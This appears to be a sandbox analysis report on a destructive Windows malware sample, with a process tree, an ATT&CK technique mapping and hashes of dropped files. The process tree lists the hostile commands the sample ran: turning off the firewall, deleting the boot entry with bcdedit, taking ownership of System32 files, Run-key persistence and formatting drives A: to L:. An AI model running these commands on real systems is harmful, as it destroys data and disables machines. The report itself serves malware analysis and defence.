    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1552
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:4972
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:5368
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4740
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:5380
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5436
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    PID:5908
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6016
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5240
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4528
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5344
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5364
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5420
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5400
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5320
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5736
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5860
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:8280
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8324
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8516
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:9688
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:9816
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:10952
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5924
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3900
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4688
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5480
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:8196
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:5452
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:9320
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:10012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:9624
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:9744
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:11080
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5960
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5256
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6172
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6248
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:8956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:9460
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:9720
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:10176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:5824
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:10232
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:6276
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6316
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6344
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6360
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Modifies file permissions
    PID:6388
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:6624
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:6660
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6752
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6760
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6788
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6816
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6840
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6856
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:6932
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:7180
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:7296
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:6692
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:5512
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:7568
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:8868
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:2024
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:940
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:9936
- - C:\Windows\system32\format.com
    format /y /q L:
    3⤵
    PID:7132
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:2420
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2244
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:2252
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2444
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:4112
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:4972
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    PID:2740
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    PID:3228
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    PID:4792
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    PID:2408
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:4004
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4304
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:4544
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:4468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:5428
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      PID:8024
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:5444
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5468
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    PID:5924
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6052
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2420
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5312
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5352
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5412
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5584
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5572
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5740
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:5524
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5376
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:7296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:8572
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:9124
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:9060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:9744
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:9856
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:10964
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5224
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5500
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5768
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5912
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:4840
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:5916
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:9052
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:9368
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:9956
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:10108
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:11400
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5672
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4464
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6204
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:6260
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:8996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:8660
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:9248
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:9872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:9544
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:7084
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:11104
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:6292
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6332
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:6352
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:6376
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Possible privilege escalation attempt
    PID:6400
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:6632
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:6668
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6768
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6796
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6824
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6832
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6848
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:6864
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:7008
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:7188
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:7304
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:7204
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:7840
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:8996
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:9108
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:6452
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:10144
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:10052
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:1568
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2256
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:1628
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:1624
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\bdaplgin.ax"
  2⤵
  - Modifies file permissions
  PID:1980
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\bdaplgin.ax" /reset /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:1960
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\bdaplgin.ax"
  2⤵
  PID:3448
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\g711codc.ax"
  2⤵
  PID:3220
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\g711codc.ax" /reset /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4512
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\g711codc.ax"
  2⤵
  - Views/modifies file attributes
  PID:4808
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ksproxy.ax"
  2⤵
  PID:3272
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ksproxy.ax" /reset /c /q
  2⤵
  PID:4776
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\ksproxy.ax"
  2⤵
  PID:2404
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\kstvtune.ax"
  2⤵
  PID:5048
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\kstvtune.ax" /reset /c /q
  2⤵
  PID:4956
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\kstvtune.ax"
  2⤵
  - Views/modifies file attributes
  PID:4780
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Kswdmcap.ax"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2232
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Kswdmcap.ax" /reset /c /q
  2⤵
  PID:5016
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\Kswdmcap.ax"
  2⤵
  - Views/modifies file attributes
  PID:4548
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\ksxbar.ax"
  2⤵
  - Modifies file permissions
  PID:4112
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\ksxbar.ax" /reset /c /q
  2⤵
  PID:4544
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\ksxbar.ax"
  2⤵
  - Views/modifies file attributes
  PID:5204
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Mpeg2Data.ax"
  2⤵
  PID:5512
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Mpeg2Data.ax" /reset /c /q
  2⤵
  PID:5960
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\Mpeg2Data.ax"
  2⤵
  PID:4236
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\mpg2splt.ax"
  2⤵
  PID:6448
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\mpg2splt.ax" /reset /c /q
  2⤵
  - Modifies file permissions
  PID:6804
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\mpg2splt.ax"
  2⤵
  PID:6952
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\MSDvbNP.ax"
  2⤵
  - Modifies file permissions
  PID:7236
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\MSDvbNP.ax" /reset /c /q
  2⤵
  - Modifies file permissions
  PID:7908
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\MSDvbNP.ax"
  2⤵
  - Views/modifies file attributes
  PID:7776
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\MSNP.ax"
  2⤵
  PID:7872
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\MSNP.ax" /reset /c /q
  2⤵
  - Modifies file permissions
  PID:8616
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\MSNP.ax"
  2⤵
  PID:9004
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\psisrndr.ax"
  2⤵
  - Modifies file permissions
  PID:768
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\psisrndr.ax" /reset /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:9232
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\psisrndr.ax"
  2⤵
  PID:10068
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\VBICodec.ax"
  2⤵
  - Modifies file permissions
  PID:5888

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x5bc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2116

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1323499601561132957-1136888586-183452541634176335-47687344-790397602-1993061047"
1⤵
PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Advertencia.vbs

Path C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs
Size 63B
SHA256 1db6458800616839e864831147cc6d91845825e365925151f649b5d998152273
MD5 4cb4efde0d2476b32d5a347a52df6c1b
SHA1 d2b3d042dfc64cc15b41b83b6f0252497a515e95
SHA512 1a676aec628275f5812bc99f7055713986579304df42328559b7a0adeb99601a2a680144a0f3b1685a0126c034cbf9f75ac89cb5cd1c8ca87f7e68824771ebce
MD5 SHA1 SHA512

Submit Download

Autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\Autorun.inf
Size 74B
SHA256 12a5135510016abcfe1192aceb6fec42634346661d778d68be1debaa3d75e967
MD5 b39df423c6e5978065a9a8ec4879a3b4
SHA1 96441a7a7d8090f7a96a1160f539531f66568e88
SHA512 2d583fcae1ec73f836c5b66b8b1337bb4250a8230073de96d501a4fab5f522b75599ac2a1fcf1457a841d8c84bcccb88feade82f49357b28345c63d9526cfeb4
MD5 SHA1 SHA512

Submit Download

Bytebeat.sk

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.sk
Size 14KB
SHA256 b9da7f848a953f0fcdd3430f97907c855eb22ca8336acb7f2b3c92551f9070ae
MD5 e9841c90b8efdfe12adb284675c29fed
SHA1 10f797135dcb84eee2aea29d4d0ad003bfa60152
SHA512 b63b7598aacd91d7798c9832a10815320a75d76dc550a79b0229e00d7fbddc4ac26f4b81afa5e459bf949b8a23c4036e5b8fe6078b9b66b90145f3985f94ef72
SSDEEP 192:EzXFz1dPRSbjGCrtsjpUaGLJXVpKWvtfj0Hr1TgZLxSayxldQ8PHC2XGNAwFtx4P:EJdAbrM21q0j0L1qEzdQ8PigfwTxX8j
MD5 SHA1 SHA512 SSDEEP

Submit Download

Bytebeat.sk

Path C:\Users\Admin\AppData\Local\Temp\Bytebeat.sk
Size 4KB
SHA256 f244461c73ef9f461f1703e4b7b1f649269c495563200f5a6dcf16404155bfc5
MD5 228f81d956279f57c23871e482ae5aa7
SHA1 eeba38e90ae97eea5c5fe18a3bcf618f25fc2974
SHA512 6484e499a2cbada5c55e052e985401c0da48800d136f57c178eea8117a070496f72679a120a6d1b5e9666a427d74500d2ac3fdd28887521b2dd8fd2671855601
SSDEEP 96:R2mjT4ZXFz1dPb19OBbjmb7TBErt0jVjpUaXWhEc:EzXFz1dPRSbjGCrtsjpUaG/
MD5 SHA1 SHA512 SSDEEP

Submit Download

ErrorCritico.vbs

Path C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs
Size 57B
SHA256 ae3ab245b4001b487205480988a1aa775de104faf0e5d9c43dd3d1cf285196a1
MD5 5420b2137427b07b4d6a585ae3b69e08
SHA1 feb511d0b40064ab8a491caf699f5959bc9d4716
SHA512 2d5e64f315b8d72e7ff178042cb131baf0d982e74c09455911358ab3552e6e5919ac5f567b1cf31f91ad5613f2b91c5eff5e251e014c230490e4a323da7a7946
MD5 SHA1 SHA512

Submit Download

Informacion.vbs

Path C:\Users\Admin\AppData\Local\Temp\Informacion.vbs
Size 71B
SHA256 48ee941955387e29c12380d852a363bdf22ef49897c0bd814aaeacba6bc852aa
MD5 c50b8418d9f7ec5980f0bcd9bca4a735
SHA1 d00d3064b043e6cb78476d7820998d9b89f9fdc7
SHA512 0b71f8c7bb3d9be0017dd30cb25500df4a04d77234c9ed36222fda37af1a2b66dc8fccd2fe8c27f164bef7b892e9a6b1745469623cb71f3c3a1700509165f6f1
MD5 SHA1 SHA512

Submit Download

MouseMove.ps1

Path C:\Users\Admin\AppData\Local\Temp\MouseMove.ps1
Size 961B
SHA256 90926fb4c17f32f4ea75cfa477f6d268f4246ced5907db59bafe468a60190005
MD5 fc33e01cce864c6cd9a3cd230acb3594
SHA1 d6244cd6a26139a139605040e6af4c57f6c3024a
SHA512 bfca787a6342d3f276afba162844491b437011ae0e582516de70cd9004422dd9f0cfe520a1a171f495f5398c74056f6961b00471d8d59e86dc061810279dae91
MD5 SHA1 SHA512

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 2KB
SHA256 31d9c635af939a308e3fa0db4bafd11570d3dc5aad50c1efb620e1d571ad8e99
MD5 eb45393899a08dc4b698185b4f09c2e7
SHA1 df8ce608512d6c73febd005b16bb87bb6b3874aa
SHA512 5921eb637ec5cefaccc99692adcf24e4ef1ebc8bd9e00fed9a42f741c99dbccf1b1c9dfe5c0a9d384b6e42b43bf77f10af32822b584b95b8b8b13350bb506e20
MD5 SHA1 SHA512

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 3KB
SHA256 25f8786aa6dbac7100c894e3fdc142b352350511607a8da20e98e5dd835e60f4
MD5 eb5864e10fa831d64a473731718a85d8
SHA1 36c08895b49f94ddc1aba50afa3bea910b7f2a0b
SHA512 680b63f2f248c0b5734eeb82c99ea335b79fdf407b6f2b1b8c3d689d5f60826a24ffa5ceae00f9f78202924f5cc21414cda4720e715db9d3bc8874a096b304da
MD5 SHA1 SHA512

Submit Download

Taskdl.bat

Path C:\Users\Admin\AppData\Local\Temp\Taskdl.bat
Size 4KB
SHA256 3e1dcd805c2586b07c7569524cbf83fe4ad6a84ddf4d61b03683b185d1f8bfaa
MD5 f7a44815d9db6433b0e6ddc333b24d98
SHA1 acf49e3f3816641e2e7e0456abbe2b941e002b50
SHA512 45d2b46603a4ec73b04dc4678a989724017c8e62b2cef0af962ac0cfa58c2f769b401330d474bd144a524b95fc2dd208dfb9e0975936ce736e393225a660462b
